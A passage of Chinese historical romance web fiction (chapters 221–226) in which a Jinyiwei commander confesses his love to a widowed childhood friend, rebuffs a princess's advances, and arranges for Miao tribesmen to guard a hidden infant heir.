“好香啊!”荷花带着两个小丫鬟叽叽喳喳地跑进来,瞬间打破了厨房里微妙的气氛。 她们围着竹筐里的重阳糕,七嘴八舌地夸赞着,郭晓芸笑着让她们也拿一块尝尝,又嘱咐小心烫。厨房里重新充满了热闹的人声,郭晓芸这才觉得自在了些,脸上的红晕也渐渐褪去。 苗菁看着她放松下来的样子,慢慢吃完了手里的糕点。他想起上次自己受伤,晓芸守在他床边,那种焦急、心疼、泫然欲泣的模样…… 晚饭时分,苗菁没有像往常一样出现在餐桌上。 荷花来回话:“主子,大人说他没什么胃口,让您先吃,不用等他。” 郭晓芸一个人坐在偌大的餐桌前,面对着几样精致的小菜和特地温着的菊花酒,忽然就觉得没了滋味。她拿起筷子,勉强吃了几口就放下了。 “先收了吧。”她吩咐荷花,“我去看看他。” 郭晓芸去了苗菁居住的前院,院子里静悄悄的,书房里亮着灯。她走到门外,停下脚步,听着里面似乎没什么动静,才轻声唤道:“苗三弟,你怎么不来吃饭?是有紧急公事要忙吗?那也得先吃了饭才有力气呀。” 里面静默了片刻,才传来苗菁的声音,听起来有些闷闷的,带着鼻音:“不想吃……没胃口。” 第221章 只想要你 郭晓芸蹙起眉头,轻轻将门帘掀起一条缝隙,往里看去。只见苗菁坐在桌边,面前摆着一个酒壶和一个空了的酒盅,桌上却没什么下酒菜。 烛光下,他的脸色呈现出一种不正常的坨红,连脖子和耳朵都是红的。 她心里一急,也顾不得许多,撩开帘子就走了进去,带着责备的口气:“你怎么能空着肚子吃酒呢?多伤身子!你若是想喝酒,好歹让人弄两个小菜垫垫底啊!” 苗菁一沾酒便上脸,此刻从头红到脚,看着确实有些吓人。他闻言,竟又伸手去拿酒壶,想要再倒一杯。 郭晓芸眼疾手快,一把将他面前的酒盅抢了过来,藏到身后,语气更急:“不许再喝了!你歇着,我这就去厨房,让他们弄点热乎的饭菜汤水来,你吃了再歇息。” 说着,她转身就要走。 “别走。” 手腕猛地被一只滚烫的大手抓住,力道之大,让她一个踉跄。下一秒,她整个人就被一股巨大的力量拉扯着,跌入一个坚实滚烫的怀抱里。苗菁的双臂如同铁箍般,紧紧地将她环住。 “别走……让我抱抱……”他把脸埋在她的颈窝处,声音闷闷的,带着哽咽,滚烫的呼吸喷洒在她的皮肤上,激起一阵战栗。 郭晓芸被他这突如其来的举动和异常的状态吓住了,一时间忘了反抗,只是急切地问:“你怎么了?出什么事了?快跟我说说,是不是衙门里遇到难处了?还是……” 苗菁摇了摇头,双臂收得更紧,声音里的哽咽更明显了,带着鼻音和醉意:“我娘……昨夜入我梦里来了……她说我不孝……苗家就剩我这根独苗了……可我……我连香火都没给苗家续上……她说她在下面,都没脸见祖宗……” 郭晓芸闻言,心头一酸。她放松了身体,任由他抱着,抬起手,犹豫了一下,还是轻轻拍了拍他的背,低声安慰道:“别胡说,你还年轻着呢,身子骨又好,早晚会有孩子的……你若是……若是着急,等过些日子,我托人请了可靠的媒人上门,帮你相看几个好姑娘……” “不!”苗菁猛地抬起头,眼眶泛红,不知是酒意还是泪意。他双手捧住郭晓芸的脸,迫使她看着自己,目光灼灼,“我不要别人!我想要你!晓芸,你给我做媳妇好不好?给我生孩子,好不好?” 郭晓芸的心,在那一瞬间,狂跳的几乎要冲破胸膛。她怎么会不知道苗菁的心思?这一年多同住一个屋檐下,他那些小心翼翼的关怀,欲言又止的眼神,笨拙却真诚的靠近,她不是木头,都感觉得到。 可这是他第一次,如此明确、如此直白地说出来。 震惊和酸楚、甜蜜一起冲击着她,让她几乎站立不稳。她看着他通红的、满是期待的眼睛,苦笑着,声音发颤:“我……我配不上你。我嫁过人,是寡妇,年纪也比你大,你现在是大官了,前程似锦……” “谁说的?!”苗菁打断她,语气激烈,捧着她脸的手微微用力,“什么配不上?咱们自小就认识,知根知底!你是什么样的人,我比谁都清楚!我从很久很久以前,就想让你给我做媳妇了!” 他的眼睛燃烧着炽热的光:“老天开眼,让我再遇上你,把你送到我身边。这就是咱们的缘分,命中注定的!谁也断不了!” 郭晓芸的眼泪再也控制不住,涌了上来,模糊了视线:“可是……你值得更好的。你想要什么样的姑娘找不到呢?高门贵女,知书达理……” “可那都不是我想要的!” 苗菁斩钉截铁,“我只想要你,晓芸。只有你。每夜梦里都是你,醒来想的是你,办差时惦记的还是你。我想每天回家都能看见你,想和你同桌吃饭,想……” 他的声音低了下去,带着醉意的沙哑和无限的渴望,“想就像现在这样,抱着你,让你就在我的怀里,哪儿也不去。” 郭晓芸面红如血,浑身都在轻轻颤抖,既是羞,也是怕,更有一种被巨大情感冲击的眩晕。她颤声道:“别……别说了……” 苗菁却像是被打开了闸门,压抑了太久的情感汹涌而出。他揽着她纤细却柔韧的腰肢,感受着掌心下隔衣传来的温热,忽然就不想再做那个克己守礼的君子了。醉意和渴望烧毁了他的理智,他手臂用力,将她轻轻一带…… …… “苗三弟……别……这样……”郭晓芸惊慌地呢喃着,双手抵在他坚实如铁的胸膛上,想要推开他。 可他的身体沉重而滚烫,纹丝不动。掌心下,是他紧绷的胸肌,隔着薄薄的夏衣,她能清晰地感受到那充满力量感的轮廓和灼人的温度。这种陌生而极具侵略性的触感…… …… 她那双在他胸前徒劳推拒的小手,落在他此刻敏感至极的感官里,根本算不上抵抗。 苗菁望着她近在咫尺的、惊慌失措却嫣红动人的脸,那双总是温柔含笑的眸子里此刻水光潋滟,盛满了他的影子。他再也忍不住,低声道:“我就亲一下……亲一下就好……我保证,亲一下就放开你……” 他的声音喑哑,带着祈求,动作却是不容置疑的强势。 郭晓芸心乱如麻,天人交战。理智告诉她应该立刻推开他,起身离开。可看着他眼中几乎要溢出来的渴望和深情,她最终,放弃了所有抵抗,抓紧了他胸前衣襟,闭上了眼睛。 这一闭眼,如同无声的许可。 苗菁再无犹豫,滚烫的嘴唇立刻印了上去。 第222章 一定能成 这是苗菁第一次如此真切地感触到女子唇瓣的柔软与甜美。 起初,他还有些笨拙,但很快意会出诀窍。 郭晓芸抵在他胸前的手不知何时滑落,转而轻轻地环住了他的脖颈。 …… 他强压下翻腾的欲望,手臂撑在她身侧,稍稍拉开一点距离,看着她的眼睛,声音依旧沙哑,却带着郑重和安抚:“晓芸,你放心。咱们的事,一定能成。” 他抚了抚她汗湿的鬓发,继续道:“我爹娘若是知道我能娶到你,不知会有多高兴。从前他们就喜欢你,若不是你自幼定下了徐家的亲事。我娘巴不得求娶你做儿媳。另外,我已经跟陛下说过了,等你出了孝期,就请他给咱们赐婚。有陛下做主,谁也不敢多嘴说什么。” 他知道她最大的顾虑是什么,索性挑明:“我这样的身份,掌管锦衣卫北镇抚司,陛下其实也不愿我娶什么高门贵女,牵扯太深。娶你,知根知底,性情相投,再合适不过。你就放一百个心,一切都有我。” 郭晓芸听着他条理清晰、安排妥当的话语,看着他眼中坚定不移的光芒,那颗一直充满了不安与自卑的心,像是终于找到了落点。心里乱糟糟的,却又被一种前所未有的、胀满的踏实感和甜蜜填满。 她望着他,嘴唇动了动,最终,只是低低的“嗯”了一声。 这一声“嗯”,轻如蚊蚋,落在苗菁耳中,却如同九天仙乐,瞬间点燃了他所有的狂喜。他眼中迸发出光彩,俯下身,又一次深深地吻住了她。 这一夜,苗菁后来被郭晓芸逼着喝了醒酒汤,又去冲了凉。可回到房中躺下,只觉得浑身依旧燥热难当,亢奋到怎么也无法平息。 他索性起身,走到院子里,只着一身单薄的劲装,在月下虎虎生风地打了两套拳。打完拳犹觉不足,又取来惯用的刀,在空旷的庭院里舞了起来。 直到大汗淋漓,筋疲力尽,他才收刀。又去冲了一遍凉水,身上的燥热才终于平息下去。躺在床上,闭上眼,脑海中却依然是郭晓芸那羞红的脸,柔软的身躯,和那一声轻如叹息的“嗯”。 他嘴角噙着笑意,沉沉睡去。 即便昨夜心潮澎湃,几乎彻夜难眠,第二日一早,苗菁还是精神奕奕地起身,穿戴整齐,亲自督促下人备好车马、食盒、茱萸香囊等物,耐心等着郭晓芸收拾妥当。 苗家的青呢马车驶出巷口,汇入重阳节出城登高的人流时,另一辆更为宽大华丽、有着公主府徽记的安车,也悄然从府邸侧门驶出,不紧不慢地缀在了后头。 九月的西山,层林渐染,红叶如火,黄叶似金,间或还有苍翠的松柏点缀,色彩斑斓,美不胜收。通往山间的官道上,车马络绎不绝,随处可见携家带口、呼朋引伴的游人,欢声笑语洒了一路。 苗菁熟知地形,并未走人头攒动的主道,而是拐入了一条更为幽僻的碎石小径。小径蜿蜒向上,两旁古木参天,藤萝垂挂,鸟鸣声声,果然清静了许多。他亲自在前引路,郭晓芸扶着荷花的手,跟在他身后半步。 山路渐陡,郭晓芸虽不娇气,但毕竟久居内宅,体力有限,走了一段便开始气息微促,额角见汗。苗菁停下脚步,回头看她,伸出手:“累了?我背你上去。” 郭晓芸脸颊微红,连忙摇头:“不成不成,我自己能走。”光天化日,又是登山路上,让人背着像什么话。 苗菁也不强求,退而求其次:“那我拉着你吧,省些力气。”他的手宽大干燥,稳稳地伸在她面前。 郭晓芸仍是摇头,声音更低了些:“别……让人瞧见不好。”她心里记挂着自己的身份,也怕给苗菁招惹是非。 苗菁环顾四周,这条小道前后都静悄悄的,只有风吹树叶的沙沙声和他们几人的脚步声。他放柔了声音,带着诱哄:“你看,这条路没什么人。再说,只是牵着手,借些力罢了。若是真有人来,松开便是,谁能知道?难道咱们连手都不能碰了?”。 郭晓芸看了看前方似乎还有好一段的山路,犹豫了片刻,终于还是慢慢地将自己的手,放入了他的掌心。 苗菁微微一笑,牵着她,稳稳地向上走去。荷花等人识趣地落后几步,只远远跟着。 转过一个林木掩映的弯道,前方豁然开朗,一座飞檐翘角的八角凉亭出现在山腰平台上,是供游人歇脚的好去处。苗菁抬头望去,脸上刚露出轻松的笑意,正想对郭晓芸说“快到了”,那笑容却瞬间僵在脸上。 凉亭里并非空无一人。 亭中石桌旁,端坐着一人,锦衣华服,仪态雍容,正是晖善长公主。她身周侍立着十余名护卫和侍女,将小小凉亭拱卫得严严实实,闲杂人等根本无法靠近。 而苗菁与郭晓芸牵手转过山弯的一幕,恰好被凉亭中好整以暇的长公主尽收眼底。 郭晓芸也看到了亭中有人,且排场甚大,心中一慌,赶紧用力抽回手。但那一刹那的亲密,已然落入了长公主眼中。 避无可避,苗菁只能硬着头皮,带着郭晓芸上前。 他在凉亭外台阶下站定,躬身行了一礼,声音平稳:“下官苗菁,给长公主殿下请安。” 长公主的目光先是在苗菁脸上转了一圈,随即落到他身后低眉顺目的郭晓芸身上,上下打量了两眼。 郭晓芸今日穿了一身素净的藕荷色细布裙衫,头上只簪了朵小小的绒花,因登山而双颊泛红,更添几分娇弱颜色。 长公主嘴角噙着一丝意味不明的笑,缓缓开口,声音带着惯有的慵懒:“苗大人免礼。今儿重阳,好兴致啊。这是……带着府中下人出来登高赏景?” 她故意将“下人”二字咬得略重,目光落在郭晓芸身上,嘲讽之意不言而喻。 第223章 你可愿意? 郭晓芸闻言,头垂得更低,她自然听出了长公主话里的轻视与敌意。自己在孝期,不能穿红着绿,戴贵重首饰,可这件衣裳也是好料子,是她亲手做的,怎么会像下人?这位长公主,分明是故意给她难堪。 苗菁胸中一股怒气上涌,脸色沉了沉。他深吸一口气,压住火气,声音冷硬地回道:“殿下误会了。这位是下官自幼相识的姐姐,姓郭。从前在乡里便如同亲人一般,并非下人。” “哦?姐姐?”长公主拖长了音调,斜睨着郭晓芸。这小寡妇,倒是有几分姿色,温婉秀气,我见犹怜,难怪能把苗菁这样冷硬的人勾住,还如此维护。 她似乎失了继续闲谈的兴致,忽然神色一正,语气带上了几分严肃:“是吗,倒是本宫看岔了。也罢,闲话少叙。苗大人,本宫有要务需单独与你交代。无关人等,都退下!” 跟随长公主而来的护卫侍女们训练有素,立刻齐声应“是”,迅速退到了凉亭外数丈远的地方,背身而立,形成了一个隔离圈。 郭晓芸不等苗菁示意,已然明白自己不该留在此地。她飞快地屈膝福了一礼,低声对苗菁道:“民妇先去那边等候。”说罢,便带着荷花等人,转身退回了刚才来时的山弯之后,避开了这边的视线。 凉亭内只剩下长公主与苗菁二人,苗菁拱手问道:“不知长公主有何要事吩咐下官?” 长公主却不急着说,只拿眼瞧着他。山风拂过,吹动她鬓边的步摇,流光闪烁。她忽然抬手按了按自己的喉咙,蹙起眉头,声音压得极低,带着一丝沙哑:“封地的事……” 苗菁没听清,耐着性子又问:“殿下说什么?下官未曾听清。” 长公主嘴角弯了弯,似乎觉得有趣,稍稍提高了一点声音:“本宫今日嗓子有些不爽利,说话费劲。你,近前来听。” 苗菁又上前两步,在离石桌约三步远处停下,微微倾身:“请殿下示下。” 长公主这才压低了声音,用只有两人能听清的音量说道:“本宫封地里,前些日子,来了一群不速之客……” 这件事昨夜北镇抚司已经有人去苗家跟汇报过了,苗菁眉头微蹙,公事公办地回道:“此事下官已经知晓。殿下放心,稍后下官便会安排可靠人手,去殿下府上将人提走,严加审问。” 长公主却勾唇一笑,身体微微向后靠向椅背,姿态放松,眼神却紧盯着苗菁:“陛下说了,这些人事关重大,需得谨慎。苗大人不亲自来提人,本宫……可不放心交出去。” 苗菁垂下眼帘,避开她的视线,语气依旧平稳:“殿下多虑了。北镇抚司办差,自有章程。臣派去之人,皆是心腹干将,绝对可靠。定不会误了陛下的事。” 长公主脸上的笑意淡了淡,那双总是带着几分漫不经心和凌厉风情的眼眸,此刻锐利地看向苗菁,忽然问道:“苗大人这般推诿,莫不是在……躲着本宫?” 苗菁心头一凛,面色不变,躬身道:“臣不敢。臣只是按规矩办事。” 长公主不再说话,只是用目光细细地、近乎放肆地打量着站在眼前的男人。 九月山间已有凉意,他却只穿着一身箭袖夏衫,料子轻薄贴身,勾勒出宽肩窄腰、挺拔如松的身形。那衣裳不知出自谁手,裁剪极为合体,衬得他胸膛宽阔,胸肌的轮廓在衣衫下微微隆起,随着呼吸起伏。 长公主的目光几乎能穿透那层布料,想象出那紧绷的肌肉在手底下会是何等坚硬而富有弹性,呼吸急促时该有多棒的触感…… 她见过的男人多了,英俊的,有才的,有权势的,但像苗菁这样,冷硬刚直,对她视而不见,甚至带着抗拒的,倒是头一个。 “苗菁,”长公主终于再次开口,“你也不是蠢人。本宫的意思,你真不明白吗?” 苗菁袖中的手微微收紧,面上依旧维持着恭敬而疏离的臣子姿态:“下官愚钝,只知忠君体国,办好陛下交代的差事。长公主殿下若有何吩咐,请明示。” 他心中笃定,长公主虽荒淫之名在外,但那些裙下之臣,哪个不是主动趋附,以求荣华或庇护?以她天家贵胄的身份和骄傲,再怎么荒唐,也断不可能放下身段,主动开口要求一个臣子与她行苟且之事。 然而,苗菁错估了晖善长公主。从前未曾主动,不过是没遇到足够让她产生兴趣和征服欲的对象罢了。苗菁这副油盐不进、冷硬抗拒偏偏又充满力量感的模样,恰恰激起了她内心深处最强的掌控欲。 “是吗?”长公主轻笑一声,眼睛一眨不眨地看着苗菁,红唇轻启,一字一句,清晰无比地“明示”道: “那本宫可就明说了。本宫要你——今夜来陪寝。你,可愿意?” 这话如同平地惊雷,炸得苗菁脑中轰然一响。即便有所预料,他也万万没想到,长公主竟真的如此不顾身份体统,将这般龌龊要求赤裸裸地宣之于口!一股混杂着震惊、恶心和暴怒的火焰猛地窜上心头,他几乎用尽全身力气,才克制住当场拔刀的冲动。 苗菁面上肌肉抽动了一下,强行压下所有情绪,正色道:“公主殿下乃天家贵胄,金枝玉叶,当洁身自好,为天下女子楷模。此等荒唐之言,臣只当从未听闻。若殿下无其他正经差事吩咐,臣先行告退。” 说完,他不等长公主反应,拱手一礼,便要转身离开是非之地。 第224章 臣不奉陪 长公主被他这毫不留情的拒绝和隐含的训斥气的笑出声来,那笑声里已带了怒意,“我睡个男人,就是不洁身自好了?那满京城流连花街柳巷、蓄养外室姬妾无数的男人们,岂不个个都是腌臜货色?苗大人,何必如此假道学?那件事,你快活,我也快活,我又不要你尚主做驸马,坏了你的前程,你情我愿,各取所需罢了,何必拘泥?” 苗菁咬着后槽牙,从牙缝里挤出几个字:“道不同,不相为谋。公主若无其他吩咐,臣,告退!” 他再次迈步,只想立刻离开。 “站住!” 身后传来长公主陡然拔高的、带着不容置疑威压的厉喝。 紧接着,“噗”一声轻响,一只绣鞋,不偏不倚,飞过来踢中了他的小腿外侧。 凉亭里,长公主好整以暇地看着苗菁僵硬的背影,慢悠悠地开口说道: “现在,本宫命你——” “过来,把鞋给本宫穿好。” “听到了吗,苗、大、人?” 苗菁缓缓转身,脊背挺得笔直如山岩,他字字清晰,如同金石相叩,在这山间寂静的凉亭内外回响:“殿下,君臣有别,男女亦有大防。臣为外男,殿下乃金枝玉叶。亲手为殿下着履,于礼不合,恐污殿下清誉,亦非臣子应尽之本分。若殿下行动不便,臣可即刻唤殿下随行侍女前来伺候。” 接着苗菁又道:“北镇抚司直属陛下,臣之首务,乃忠君之事,行朝廷法度。今日登山,臣告假休沐,本为私事。殿下若有公事垂询,臣自当恭聆;若仅为戏弄臣下,请恕臣不奉陪。” 说罢,他不再给长公主反应或发作的时间,果断地后退几步,走到凉亭外面,高声喊道:“殿下有吩咐,尔等速来侍奉。” 那群侍女忙屈膝应“是”,快步朝凉亭走去。 苗菁身形一侧,朝郭晓芸等待的山路转角处大步离去。 凉亭内,长公主眼睁睁看着他就这样干脆利落地走掉,从牙缝里吐出几个气音:“好……很好。” 她缓缓靠回椅背,任由匆匆赶来的侍女跪地为自己穿上那只被当做武器掷出的绣鞋。 苗菁转过山路弯道,一眼便看到郭晓芸眉头微蹙,脸上写满了担忧和不安。荷花等人也屏息静气地站在一旁,气氛紧张。 看到他安然返回,郭晓芸明显松了一口气,紧蹙的眉头舒展开来,快步迎上两步,上下打量他,嘴唇动了动,似乎想问什么,却终究没问出口,只是眼中忧色未完全散去。 苗菁心中顿时涌上一阵强烈的愧疚与心疼。原本是想带她出来散心,领略重阳山色,享受难得的闲暇与温馨,却没想到撞上长公主。 他压下心头翻涌的复杂情绪,努力让神情和语气都变得轻松温和,走到她面前,低声道:“没事了。长公主交代一些事情罢了。” “走吧,”他温声说,带着安抚的意味,“咱们下山去。我知道山脚下有家小店,做的叫花鸡和山菌汤是一绝,味道极好。咱们去尝尝,嗯?” 郭晓芸抬眼看他,见他神色如常,目光坚定,心中稍安。 她虽直觉方才之事绝不简单,那位长公主看苗菁的眼神,看她的眼神,都让她感到不安。但她深知苗菁的性子,他既不愿多说,此时此地也绝非细问的场合。于是,她将所有疑问和担忧都暂时压下,顺从地点了点头。 第二日,苗菁派了薄广带了一队人,前往晖善长公主府提人。 薄广临行前,苗菁特意叮嘱:“长公主性子难测,务必谨慎恭敬,依足规矩办事。若她有意刁难,不必硬顶,速回来报我。” 薄广领命,心中已做好了被晾上几个时辰、或被各种借口推诿、甚至被羞辱刁难一番的准备。 然而,出乎薄广意料的是,此行竟异常顺利。 公主府的门房似乎早得了吩咐,验看过北镇抚司的公文和薄广的腰牌后,便客气地将他们引入府内,并未多加阻拦。在偏厅等候了不到一盏茶的功夫,一位管事嬷嬷便带着几名健仆,押着五个被黑布罩头、绳索缚手的人过来了。 薄广利落地在文书上画押,道谢后,便带着人迅速离开了公主府。 回到北镇抚司,苗菁听闻过程,眉头微蹙。长公主这般干脆,反倒显得反常。但他暂时按下疑虑,命人将五名苗疆人犯分别关入刑房,准备亲自审问。 这五人皆作汉人打扮,但眼神大多警惕而倔强。 苗菁先提审了那个看起来像是头领的瘦小老头。 老头约莫五十岁上下,皮肤黝黑,满脸风霜皱纹,一双眼睛却精明有神。 “大人,”老头的官话带着浓重的口音,但咬字还算清晰,比他的同伴们好得多,“小人阿普,是九黎部族中的一名管事。我们几人此番离开苗疆,进入大兖地界,绝无冒犯天朝、刺探机密之意,实在是一场误会!” 他语速不快,尽量让自己的表述显得诚恳:“我们是为了寻人。我家大小姐……一年多前离家,音信全无。族长和夫人忧心如焚,派了我们几支小队出来寻找。我们这一路,沿着大小姐可能走过的路线打听,好不容易有了些线索,指向京城方向。我们不敢惊扰官府,只想悄悄寻访。” 阿普叹了口气,脸上露出懊恼和后怕:“前几日,我们追踪到一处山野,看地形似乎有路通往山那边的庄子,便想翻过去打听。谁知那山坳里处处是古怪的陷阱机关,我们不小心触动了,这才被擒获。大人,我们真的是无心之失,绝无窥探之意!请大人明察,放我们回去继续寻找大小姐吧!” 苗菁一直静静听着,审视着阿普的每一个表情和细微动作。他心中已有八成确定,沉默片刻,忽然问道:“你们的大小姐,名唤阿娅?” 此言一出,不仅阿普猛地抬头,眼中迸发出难以置信的惊喜光芒,其他几个苗人,也忍不住骚动起来,纷纷用苗语急切地说着什么,虽听不懂,但那份激动毋庸置疑。 第225章 灵童 “大人!您……您知道我们大小姐?您见过她?她在哪里?她可安好?”阿普再也维持不住表面的镇定,急切地向前倾身,若非被锁链固定在刑架上,恐怕要扑过来。 苗菁没有直接回答他的问题,而是对身边的校尉低声吩咐了几句。校尉领命,快步离去。 不一会儿,校尉回来了,手中捧着一个不大的木匣。苗菁示意他将木匣放在阿普面前的矮几上,然后亲自打开。 匣子里的东西看似寻常:一支样式古朴的银簪,花纹有些独特;一个小巧的、用某种香木雕刻的平安符,散发着淡淡的、奇异的药草香气;还有一小块折叠整齐的苗锦帕子,绣着花草纹样。 阿普的目光死死盯住那支银簪,老泪纵横。“是……是大小姐的东西,都是她的……”他泪流满面地看向苗菁,声音哽咽,“大人……求您告诉小人……我们大小姐……她……她到底怎么了?这些东西……为何在您这里?” 其他听懂官话或看到阿普反应的苗人,也纷纷发出了悲鸣般的呼喊。 苗菁看着阿普悲痛欲绝的样子,知道这些确实是九黎部寻找阿娅的人。他合上木匣,面色凝重,沉声道:“阿普,你们要寻的阿娅姑娘,确实到过中原。但很遗憾,她在数月前,因难产……已然过世了。” 阿普瞪大了眼睛,声音发颤,追问道:“我们大小姐……是难产去的?那……那她的夫君呢?” 苗菁道:“他们夫妻遭遇截杀,沈峥为护阿娅已然身亡。如今,只有孩子侥幸活了下来。” 他略去了沈峥锦衣卫同知的身份道:“沈家乃江南巨富,树大根深,内部争斗激烈。沈峥之死疑点重重,敌友难辨。孩子若贸然回归沈家,无异于羊入虎口。因此,我们才设法将孩子暗中安置,找了一户可靠人家抚养,确保他平安长大。” “孩子……孩子还活着!”阿普眼中瞬间爆发出亮光,他几乎是不假思索地脱口而出:“那是我们九黎部的灵童!是阿娅圣女的血脉!大人,求您让我们见见他!我们必须确认灵童的平安!” 苗菁并未立刻答应,而是将孩子目前处境所牵扯的利害关系剖析了一遍。最后总结道:“孩子目前隐于市井,最为安全。你们若骤然接走,或频繁接触,一旦引起有心人注意,反而会将他置于险地。这恐怕并非阿娅姑娘所愿。” 阿普听罢,如被冷水浇头,激动之色稍退,他回头,用急促的苗语与同伴交谈起来,声音时高时低,显然在进行激烈的讨论。 过了一会,阿普才转过身,恳切:“大人,您说得有理。灵童的安危重于一切。我们商量过了,派两人连夜赶回苗疆,将圣女仙逝和灵童尚在的消息禀报族长。其余三人,愿留在京城,只求能守在灵童身旁,暗中护持。” 他怕苗菁不允,声音带着卑微的恳求:“我们愿意为奴为婢,绝无二心!只求有个身份能就近看着灵童,求大人成全!” 苗菁沉吟片刻,道:“此事非我能独断。收养孩子的那户人家,才是主家。我需要去问过他们的意思。若他们愿意接纳,你们须立下重誓,绝对服从主家安排,安分守己,不得擅自行动,更不可泄露孩子身世半分。” “我们发誓!一定听从主家吩咐!”阿普连连保证。 苗菁让人先将阿普五人带下去,并允许他们去城外祭祀阿娅,以安其心。 随后,他亲自去了一趟戚家将情况详细告知了薛嘉言。 薛嘉言听完,久久不语。 “他们只是想守着宁儿?”薛嘉言轻声问。 苗菁点头,“九黎部与我们汉地风俗迥异。他们的圣女在部族中地位超然,传说承袭着古老的神灵之力,深受族人敬仰崇拜。对于圣女的血脉,其忠诚往往远超寻常主仆,甚至带有信教般的虔诚。一般不会生出异心,反而会以生命护卫。” 薛嘉言思索着。宁儿身世特殊,未来难料。若有几个知根知底、且绝对忠诚于他生母家族的人守在身边,未尝不是多一层保障。 苗菁又道:“有件事你或许不知,先帝在世时,曾有意娶一位苗疆圣女为妃,不过那名圣女来朝后,在后宫待了一个月,在先皇后的帮助下全身而退。我觉得,他们那个部落十分神秘,或许真有神力也未可知。” 薛嘉言若有所思,苗菁的意思她明白,宁儿将来或许也可以是阿满的助力。 “我同意他们留下。不过,规矩必须说在前头。留下可以,但一切须得听我安排,绝不可自作主张,更不能在人前露出任何蛛丝马迹。” “这是自然。”苗菁应道,“我会与他们严明规矩,立下契约。” 两日后,苗菁将人送来了戚家春和院。除了先赶回苗疆的两人,阿普带着一个小子和一个姑娘留下来了。 小子名叫石头,机灵黑瘦,十一二岁的样子,姑娘名叫芭蕉、身形苗条、眼神清亮。三人皆换上了京城普通仆役的青色粗布衣裳,低眉顺眼,礼数学得匆忙却认真。 阿普被安排在外院支应,做跑腿传话,实则是个眼线与联络人。石头和芭蕉则进了内院,名义上是春和院新添的小厮和粗使丫鬟,实则是专门拨到宁哥儿这边照应的。 宁哥儿如今已有五个多月,被薛嘉言和乳母精心喂养的白白胖胖,胳膊腿儿如同嫩藕节,一双大眼睛乌溜溜的,见人就笑,露出粉嫩的牙床,十分喜人。 芭蕉被允许靠近小床时,激动的手指都在微微发抖。她强忍着情绪,在薛嘉言和乳母的注视下,小心翼翼地将宁哥儿胸前柔软的小衣掀开一角。 只见孩子白嫩的心口偏左位置,果然有一小片淡红色的、形似某种奇异藤蔓的胎记,颜色浅粉。 说来奇怪,这孩子刚来时浑身上下并无任何胎记,这两个月才渐渐浮上来这个胎记。 芭蕉的眼泪瞬间涌了上来,她“噗通”一声跪倒在地,不顾地上的凉意,双手合十,仰头闭目,用苗语极快极轻地喃喃念诵起来。 念诵完毕,芭蕉重重地磕了三个头,才起身,用袖子胡乱擦了擦眼泪,望向薛嘉言的目光充满了无尽的感激与谦卑。 薛嘉言将宁哥儿的小衣服仔细整理好,语气严肃地低声叮嘱: “往后,在外人面前,他就是戚家的宁哥儿,是我的儿子。你们就像其他仆役一样做事,千万不要露出任何特别的形迹,更不可提及什么印记、灵童。记住,有时候,过度的关注和保护,反而会害了他。明白吗?” 芭蕉闻言,神色一凛,立刻收起激动,恭敬地躬身应道:“夫人放心,我们记住了。灵童……不,宁哥儿的安危就是我们的命。我们一定用生命守护他,绝不给夫人和哥儿招惹半点麻烦。” 第226章 回归 宁儿六个月大的时候,薛嘉言的母亲吕氏风尘仆仆地从鞑靼回来了。 母女分别大半年,再次相见,未及开口,眼眶便先自红了。 薛嘉言强忍着翻涌的泪意,拉着母亲的手仔细端详。只见吕氏穿着利落的骑装改良衣裙,肤色比离家时微深了些,却是健康的红润,眼角虽有旅途留下的淡淡倦痕,但一双眼睛明亮有神,有一种开阔爽利的气度。 显然,这番远行非但没有拖垮她,反而令她心境豁然,精神焕发。一股由衷的宽慰涌上薛嘉言的心头。 吕氏顾不上多叙离情,急切且问起薛嘉言棠姐儿和外孙如何了。 当乳母将白白胖胖的宁儿抱过来时,吕氏小心翼翼地接过襁褓,如同捧着稀世珍宝,低下头,在那散发着奶香味的柔嫩小脸上轻轻亲了又亲,眼里是化不开的慈爱与欢喜。 “哎哟,我的乖孙孙,长得可真俊!瞧瞧这眉眼,这鼻子小嘴……长大了定是个标致人物!”吕氏不住口地夸赞,轻轻抚过宁儿饱满的额头和藕节似的小胳膊,爱不释手。 薛嘉言在一旁含笑看着,看着母亲脸上久违的灿烂笑容,终究不忍立刻打破这份天伦之乐,没有将换子的事情说出来。罢了,且让娘亲尽兴欢喜两日,再寻个恰当的时机,慢慢将实情告知吧。 吕氏此番归来,行囊颇丰,带来了许多关外的稀奇玩意儿。有给薛嘉言的珍贵皮子、色彩浓烈的鞑靼织锦和据说能安神的异域香料;给棠姐儿的则是精巧的银饰小刀,不过还没开刃,还有缀着彩色羽毛的帽子和会发出悦耳声响的骨制玩具;给宁哥儿的是几个造型憨拙可爱的皮质摇铃。 棠姐儿得了新玩具,开心得不得了,围着外婆叽叽喳喳问个不停。分完礼物,屋内气氛温馨热闹。 吕氏拉着薛嘉言的手坐下,端详着女儿,忽而笑道:“嘉言,有件事娘得先跟你说说。这次回来,不止娘一个人,苏伯元家的大儿子,也跟着娘一道进京了,他一路护送我,对我很是照顾,回头咱们得设宴答谢一下他。” 薛嘉言微微一愣:“苏辞大哥?” “对,就是他。他比你大三岁,小时候在丹阳老家,你们常在一处玩的,还记得吗?”吕氏提醒道。 薛嘉言脑海中立刻浮现出一个模糊的身影,唇角不由漾开笑意:“怎么会不记得?我七八岁上才离开丹阳呢。苏家大哥小时候性子憨厚,待我极好。经常让我骑在他背上玩骑大马。” 回忆起童年趣事,薛嘉言眼神明亮,“我记得他可实诚了,明明累得气喘吁吁,额头都冒汗了,还硬撑着不说,最后实在没力气,直接趴在地上起不来,把我逗得哈哈大笑。” 棠姐儿正摆弄着她的新帽子,听到“骑大马”,好奇地仰起小脸:“娘,骑大马是怎么玩的呀?” 薛嘉言笑着将她搂到身边,解释道:“就是一个人手脚着地跪趴着,另一个人骑在他的背上,把他当作大马,在地上爬着玩。要不娘给你骑一次试试?” 棠姐儿听了,眨巴着大眼睛,看了看娘亲,又想象了一下那画面,很认真地摇摇头:“不要。那样当‘马’的人太累了。棠姐儿不想娘亲累趴下。” 孩子天真又贴心的话语,让吕氏和薛嘉言都忍不住笑了起来。 吕氏慈爱地摸了摸棠姐儿的脑袋,感叹道:“你看,姑娘家就是贴心,知道疼人。娘这辈子,有你们,如今又有了宁哥儿,心里不知有多圆满,多欢喜。” 晚饭用罢,丫鬟们手脚利落地撤了席面,薛嘉言亲自引着吕氏去早已收拾妥当的客房,吕氏正欲拉着女儿再说几句体己话,司雨匆匆来报:“主子,大老爷来了。” 司雨嘴里的大老爷自然只有薛千良,薛嘉言闻言,眉头几不可察地蹙了一下,下意识地看向母亲。 